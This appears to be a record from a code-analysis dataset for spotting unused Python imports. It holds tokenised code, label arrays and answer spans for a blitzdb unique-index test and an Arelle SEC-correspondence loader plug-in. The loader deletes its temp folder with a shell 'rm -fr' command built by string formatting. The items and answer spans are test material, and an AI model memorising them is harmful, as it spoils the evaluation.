"e", "\"_", ":_", "timezone_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Count", "ry", "\"_", ":_", "country_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "put_", "(_", "self_", "._", "uri", "\\u", "for_", "(_", "'", "setb", "asi", "cs", "'_", ")_", ",_", "json_", "._", "dumps_", "(_", "body_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "pay", "g", "\\u", "bill", "ing_", "(_", "self_", ",_", "currency_", ",_", "can", "\\u", "purchase", "\\u", "credits", "_", ",_", "client", "\\u", "pay", "s_", ",_", "markup", "\\u", "percentage_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "markup", "\\u", "on", "\\u", "delivery", "_", "=_", "0_", ",_", "markup", "\\u", "per", "\\u", "recipient_", "=_", "0_", ",_", "markup", "\\u", "on", "\\u", "design", "\\u", "spam", "\\u", "test_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", "s", " ", "the", " ", "PAY", "G", " ", "bill", "ing", " ", "settings", " ", "for", " ", "this", " ", "client", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Currenc", "y", "\"_", ":_", "currency_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Can", "Pur", "chase", "Credit", "s", "\"_", ":_", "can", "\\u", "purchase", "\\u", "credits", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Client", "Pay", "s", "\"_", ":_", "client", "\\u", "pay", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mark", "up", "Perce", "nta", "ge", "\"_", ":_", "markup", "\\u", "percentage_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mark", "up", "On", "Deliver", "y", "\"_", ":_", "markup", "\\u", "on", "\\u", "delivery", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mark", "up", "Per", "Recipient", "\"_", ":_", "markup", "\\u", "per", "\\u", "recipient_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mark", "up", "On", "Desig", "n", "Spam", "Test", "\"_", ":_", "markup", "\\u", "on", "\\u", "design", "\\u", "spam", "\\u", "test_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "put_", "(_", "self_", "._", "uri", "\\u", "for_", "(_", "'", "setp", "ay", "gb", "illi", "ng", "'_", ")_", ",_", "json_", "._", "dumps_", "(_", "body_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "month", "ly", "\\u", "bill", "ing_", "(_", "self_", ",_", "currency_", ",_", "client", "\\u", "pay", "s_", ",_", "markup", "\\u", "percentage_", ",_", "month", "ly", "\\u", "scheme_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", "s", " ", "the", " ", "month", "ly", " ", "bill", "ing", " ", "settings", " ", "for", " ", "this", " ", "client", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Currenc", "y", "\"_", ":_", "currency_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Client", "Pay", "s", "\"_", ":_", "client", "\\u", "pay", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mark", "up", "Perce", "nta", "ge", "\"_", ":_", "markup", "\\u", "percentage_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "month", "ly", "\\u", "scheme_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "[_", "\"", "Mont", "hl", "y", "Sche", "me", "\"_", "]_", "=_", "month", "ly", "\\u", "scheme_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "put_", "(_", "self_", "._", "uri", "\\u", "for_", "(_", "'", "setmo", "nth", "ly", "bill", "ing", "'_", ")_", ",_", "json_", "._", "dumps_", "(_", "body_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Delete", "s", " ", "this", " ", "client", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "delete_", "(_", "\"/", "clients", "/", "%", "s", ".", "json", "\"_", "%_", "self_", "._", "client", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
adewes/blitzdb/blitzdb/tests/file/test_unique_index.py
[ { "content": "from __future__ import absolute_import\n\nimport pytest\nimport tempfile\n\nfrom ..fixtures import *\nfrom ...backends.file import NonUnique\nfrom blitzdb.tests.helpers.movie_data import Actor\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def test_nonunique_file_backend_index(file_backend):\n file_backend.create_index(Actor, fields={'yob': 1})\n actor1 = Actor({'yob': 1})\n file_backend.save(actor1)\n actor2 = Actor({'yob': 1})\n file_backend.save(actor2)\n file_backend.commit()\n assert actor1.pk != actor2.pk", "metadata": "root.test_nonunique_file_backend_index", "header": "['module', '___EOS___']", "index": 9 }, { "content": "def test_unique_file_backend_index(file_backend):\n file_backend.create_index(Actor, fields={'num_films': 1}, unique=True)\n actor1 = Actor({'num_films': 1})\n file_backend.save(actor1)\n actor2 = Actor({'num_films': 1})\n file_backend.save(actor2)\n with pytest.raises(NonUnique):\n file_backend.commit()", "metadata": "root.test_unique_file_backend_index", "header": "['module', '___EOS___']", "index": 19 } ]
[ { "span": "import tempfile", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pytest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "._", "fixtures_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "..._", "backends_", "._", "file_", "import_", "Non", "Unique", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "blit", "zd", "b_", "._", "tests_", "._", "helpers_", "._", "movie", "\\u", "data_", "import_", "Actor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "non", "unique", "\\u", "file", "\\u", "back", "end", "\\u", "index_", "(_", "file", "\\u", "backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "backend_", "._", "create", "\\u", "index_", "(_", "Actor_", ",_", "fields_", "=_", "{_", "'", "yo", "b", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actor", "1_", "=_", "Actor_", "(_", "{_", "'", "yo", "b", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "backend_", "._", "save_", "(_", "actor", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actor", "2_", "=_", "Actor_", "(_", "{_", "'", "yo", "b", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "backend_", "._", "save_", "(_", "actor", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "backend_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "actor", "1_", "._", "pk_", "!=_", "actor", "2_", "._", "pk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "unique", "\\u", "file", "\\u", "back", "end", "\\u", "index_", "(_", "file", "\\u", "backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "backend_", "._", "create", "\\u", "index_", "(_", "Actor_", ",_", "fields_", "=_", "{_", "'", "num", "\\u", "film", "s", "'_", ":_", "1_", "}_", ",_", "unique_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actor", "1_", "=_", "Actor_", "(_", "{_", "'", "num", "\\u", "film", "s", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "backend_", "._", "save_", "(_", "actor", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actor", "2_", "=_", "Actor_", "(_", "{_", "'", "num", "\\u", "film", "s", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "backend_", "._", "save_", "(_", "actor", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Non", "Unique", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "\\u", "backend_", "._", "commit_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Arelle/Arelle/arelle/plugin/SECCorrespondenceLoader.py
[ { "content": "# -*- coding: utf-8 -*-\n\n'''\nSECCorrespondenceLoader is a plug-in to both GUI menu and command line/web service\nthat loads a Correspondence tar.gz file.\n\n(c) Copyright 2014 Mark V Systems Limited, All rights reserved.\n'''\nimport datetime, re, os, time\nfrom arelle import FileSource, ModelDocument\nfrom arelle.ModelRssObject import ModelRssObject\nfrom arelle.XmlValidate import UNVALIDATED, VALID\n\n\n\n\n \n\n\n__pluginInfo__ = { \n 'name': 'SEC Correspondence Loader',\n 'version': '0.9',\n 'description': \"This plug-in loads SEC Correspondence. \",\n 'license': 'Apache-2',\n 'author': 'Mark V Systems Limited',\n 'copyright': '(c) Copyright 2014 Mark V Systems Limited, All rights reserved. \\n'\n 'PyPDF (c) Copyright 2012 Jeet Sukumaran',\n # classes of mount points (required)\n 'ModelDocument.PullLoader': secCorrespondenceLoader,\n 'ModelDocument.CustomCloser': secCorrespondenceCloser,\n}\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SECCorrespondenceItem:\n \n ", "metadata": "root.SECCorrespondenceItem", "header": "['module', '___EOS___']", "index": 13 }, { "content": " def __init__(self, modelXbrl, fileName, entryUrl):\n self.cikNumber = None\n self.accessionNumber = None\n self.fileNumber = None\n self.companyName = None\n self.formType = None\n pubDate = os.path.basename(modelXbrl.uri).partition(\".\")[0]\n try:\n self.pubDate = datetime.datetime(int(pubDate[0:4]), int(pubDate[4:6]), int(pubDate[6:8]))\n self.acceptanceDatetime = self.pubDate\n self.filingDate = self.pubDate.date()\n except ValueError:\n self.pubDate = self.acceptanceDatetime = self.filingDate = None\n self.filingDate = None\n self.period = None\n self.assignedSic = None\n self.fiscalYearEnd = None\n self.htmlUrl = None\n self.url = entryUrl\n self.zippedUrl = entryUrl\n self.htmURLs = ((fileName, entryUrl),)\n self.status = \"not tested\"\n self.results = None\n self.assertions = None\n self.objectIndex = len(modelXbrl.modelObjects)\n modelXbrl.modelObjects.append(self)", "metadata": "root.SECCorrespondenceItem.__init__", "header": "['class', 'SECCorrespondenceItem', ':', '___EOS___']", "index": 14 }, { "content": " def setResults(self, modelXbrl):\n self.results = []\n self.assertionUnsuccessful = False\n # put error codes first, sorted, then assertion result (dict's)\n self.status = \"pass\"\n for error in modelXbrl.errors:\n if isinstance(error,dict): # assertion results\n self.assertions = error\n for countSuccessful, countNotsuccessful in error.items():\n if countNotsuccessful > 0:\n self.assertionUnsuccessful = True\n self.status = \"unsuccessful\"\n else: # error code results\n self.results.append(error)\n self.status = \"fail\" # error code\n self.results.sort()", "metadata": "root.SECCorrespondenceItem.setResults", "header": "['class', 'SECCorrespondenceItem', ':', '___EOS___']", "index": 41 }, { "content": " def objectId(self,refId=\"\"):\n \"\"\"Returns a string surrogate representing the object index of the model document, \n prepended by the refId string.\n :param refId: A string to prefix the refId for uniqueless (such as to use in tags for tkinter)\n :type refId: str\n \"\"\"\n return \"_{0}_{1}\".format(refId, self.objectIndex)", "metadata": "root.SECCorrespondenceItem.objectId", "header": "['class', 'SECCorrespondenceItem', ':', '___EOS___']", "index": 58 }, { "content": "def secCorrespondenceLoader(modelXbrl, mappedUri, filepath, *args, **kwargs):\n if (mappedUri.startswith(\"http://www.sec.gov/Archives/edgar/Feed/\") and \n mappedUri.endswith(\".nc.tar.gz\")):\n \n # daily feed loader (the rss object)\n rssObject = ModelRssObject(modelXbrl, uri=mappedUri, filepath=filepath)\n \n # location for expanded feed files\n tempdir = os.path.join(modelXbrl.modelManager.cntlr.userAppDir, \"tmp\", \"edgarFeed\")\n \n # remove prior files\n if os.path.exists(tempdir):\n os.system(\"rm -fr {}\".format(tempdir)) # rmtree does not work with this many files!\n os.makedirs(tempdir, exist_ok=True)\n # untar to /temp/arelle/edgarFeed for faster operation\n startedAt = time.time()\n modelXbrl.fileSource.open()\n modelXbrl.fileSource.fs.extractall(tempdir)\n modelXbrl.info(\"info\", \"untar edgarFeed temp files in %.2f sec\" % (time.time() - startedAt), \n modelObject=modelXbrl)\n \n # find <table> with <a>Download in it\n for instanceFile in sorted(os.listdir(tempdir)): # modelXbrl.fileSource.dir:\n if instanceFile != \".\":\n rssObject.rssItems.append(\n SECCorrespondenceItem(modelXbrl, instanceFile, mappedUri + '/' + instanceFile))\n return rssObject\n elif \"rssItem\" in kwargs and \".nc.tar.gz/\" in mappedUri:\n rssItem = kwargs[\"rssItem\"]\n text = None # no instance information\n # parse document\n try:\n startedAt = time.time()\n file, encoding = modelXbrl.fileSource.file(\n os.path.join(modelXbrl.modelManager.cntlr.userAppDir, \"tmp\", \"edgarFeed\", \n os.path.basename(rssItem.url)))\n s = file.read()\n file.close()\n for match in re.finditer(r\"[<]([^>]+)[>]([^<\\n\\r]*)\", s, re.MULTILINE):\n tag = match.group(1).lower()\n v = match.group(2)\n if tag == \"accession-number\":\n rssItem.accessionNumber = v\n elif tag == \"form-type\":\n rssItem.formType = v\n if v != \"UPLOAD\":\n rssItem.doNotProcessRSSitem = True # skip this RSS item in validate loop, don't load DB\n elif tag == \"filing-date\":\n try:\n rssItem.filingDate = datetime.date(int(v[0:4]), int(v[4:6]), int(v[6:8]))\n except (ValueError, IndexError):\n pass\n elif tag == \"conformed-name\":\n rssItem.companyName = v\n elif tag == \"cik\":\n rssItem.cikNumber = v\n elif tag == \"assigned-sic\":\n rssItem.assignedSic = v\n elif tag == \"fiscal-year-end\":\n try: \n rssItem.fiscalYearEnd = v[0:2] + '-' + v[2:4]\n except (IndexError, TypeError):\n pass \n match = re.search(\"<PDF>(.*)</PDF>\", s, re.DOTALL)\n if match:\n import uu, io\n pageText = []\n uuIn = io.BytesIO(match.group(1).encode(encoding))\n uuOut = io.BytesIO()\n uu.decode(uuIn, uuOut)\n from pyPdf import PdfFileReader\n uuOut.seek(0,0)\n try:\n pdfIn = PdfFileReader(uuOut)\n for pageNum in range(pdfIn.getNumPages()):\n pageText.append(pdfIn.getPage(pageNum).extractText())\n except:\n # do we want a warning here that the PDF can't be read with this library?\n pass\n uuIn.close()\n uuOut.close()\n text = ''.join(pageText)\n else:\n match = re.search(\"<TEXT>(.*)</TEXT>\", s, re.DOTALL)\n if match:\n text = match.group(1)\n except (IOError, EnvironmentError):\n pass # give up, no instance\n # daily rss item loader, provide unpopulated instance document to be filled in by RssItem.Xbrl.Loaded\n if not text:\n rssItem.doNotProcessRSSitem = True # skip this RSS item in validate loop, don't load DB\n instDoc = ModelDocument.create(modelXbrl, \n ModelDocument.Type.UnknownXML,\n rssItem.url,\n isEntry=True,\n base='', # block pathname from becomming absolute\n initialXml='<DummyXml/>')\n else:\n instDoc = ModelDocument.create(modelXbrl, \n ModelDocument.Type.INSTANCE,\n rssItem.url,\n isEntry=True,\n base='', # block pathname from becomming absolute\n initialXml='''\n<xbrli:xbrl xmlns:doc=\"http://arelle.org/doc/2014-01-31\" \n xmlns:link=\"http://www.xbrl.org/2003/linkbase\" \n xmlns:xlink=\"http://www.w3.org/1999/xlink\" \n xmlns:xbrli=\"http://www.xbrl.org/2003/instance\">\n <link:schemaRef xlink:type=\"simple\" xlink:href=\"http://arelle.org/2014/doc-2014-01-31.xsd\"/>\n <xbrli:context id=\"pubDate\">\n <xbrli:entity>\n <xbrli:identifier scheme=\"http://www.sec.gov/CIK\">{cik}</xbrli:identifier>\n </xbrli:entity>\n <xbrli:period>\n <xbrli:instant>{pubDate}</xbrli:instant>\n </xbrli:period>\n </xbrli:context>\n <doc:Correspondence contextRef=\"pubDate\">{text}</doc:Correspondence>\n</xbrli:xbrl>\n '''.format(cik=rssItem.cikNumber,\n pubDate=rssItem.pubDate.date(),\n text=text.strip().replace(\"&\",\"&amp;\").replace(\"<\",\"&lt;\")))\n #modelXbrl.info(\"info\", \"loaded in %.2f sec\" % (time.time() - startedAt),\n # modelDocument=instDoc)\n return instDoc\n\n return None", "metadata": "root.secCorrespondenceLoader", "header": "['module', '___EOS___']", "index": 67 }, { "content": "def secCorrespondenceCloser(modelDocument, *args, **kwargs):\n if (modelDocument.uri.startswith(\"http://www.sec.gov/Archives/edgar/Feed/\") and \n modelDocument.uri.endswith(\".nc.tar.gz\")):\n # remove prior files\n if os.path.exists(\"/tmp/arelle/edgarFeed\"):\n os.system(\"rm -fr /tmp/arelle/edgarFeed\")", "metadata": "root.secCorrespondenceCloser", "header": "['module', '___EOS___']", "index": 195 } ]
[ { "span": "from arelle import FileSource, ModelDocument", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 44 }, { "span": "from arelle.XmlValidate import UNVALIDATED, VALID", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 49 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "SEC", "Corre", "spon", "denc", "e", "Load", "er", " ", "is", " ", "a", " ", "plug", "-", "in", " ", "to", " ", "bot", "h", " ", "GU", "I", " ", "menu", " ", "and", " ", "command", " ", "line", "/", "web", " ", "service", "\\", "10", ";", "tha", "t", " ", "load", "s", " ", "a", " ", "Corre", "spon", "denc", "e", " ", "tar", ".", "gz", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", "(", "c", ")", " ", "Copy", "right", " ", "2014", " ", "Mark", " ", "V", " ", "System", "s", " ", "Limit", "ed", ",", " ", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", ",_", "re_", ",_", "os_", ",_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "are", "lle", "_", "import_", "File", "Source_", ",_", "Model", "Document_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "are", "lle", "_", "._", "Model", "Rs", "s", "Object_", "import_", "Model", "Rs", "s", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "are", "lle", "_", "._", "Xm", "l", "Validate", "_", "import_", "UN", "VALID", "ATED", "_", ",_", "VALID", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "plugin", "Info", "\\u\\u_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "SEC", " ", "Corre", "spon", "denc", "e", " ", "Load", "er", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "'", "0.", "9", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "\"", "Thi", "s", " ", "plug", "-", "in", " ", "load", "s", " ", "SEC", " ", "Corre", "spon", "denc", "e", ".", " ", " ", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "license", "'_", ":_", "'", "Ap", "ache", "-", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "author", "'_", ":_", "'", "Mark", " ", "V", " ", "System", "s", " ", "Limit", "ed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "copyr", "ight", "'_", ":_", "'(", "c", ")", " ", "Copy", "right", " ", "2014", " ", "Mark", " ", "V", " ", "System", "s", " ", "Limit", "ed", ",", " ", "All", " ", "rights", " ", "reserve", "d", ".", " ", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Py", "PD", "F", " ", "(", "c", ")", " ", "Copy", "right", " ", "2012", " ", "Je", "et", " ", "Su", "kum", "aran", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "classe", "s", " ", "of", " ", "mount", " ", "points", " ", "(", "require", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Model", "Document", ".", "Pul", "l", "Load", "er", "'_", ":_", "sec", "Corre", "spon", "denc", "e", "Loader_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Model", "Document", ".", "Custom", "Clos", "er", "'_", ":_", "sec", "Corre", "spon", "denc", "e", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "SEC", "Corre", "spon", "denc", "e", "Item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "SEC", "Corre", "spon", "denc", "e", "Item_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "model", "Xbrl", "_", ",_", "file", "Name_", ",_", "entry", "Url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ci", "k", "Number_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accessi", "on", "Number_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file", "Number_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "compan", "y", "Name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "form", "Type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pub", 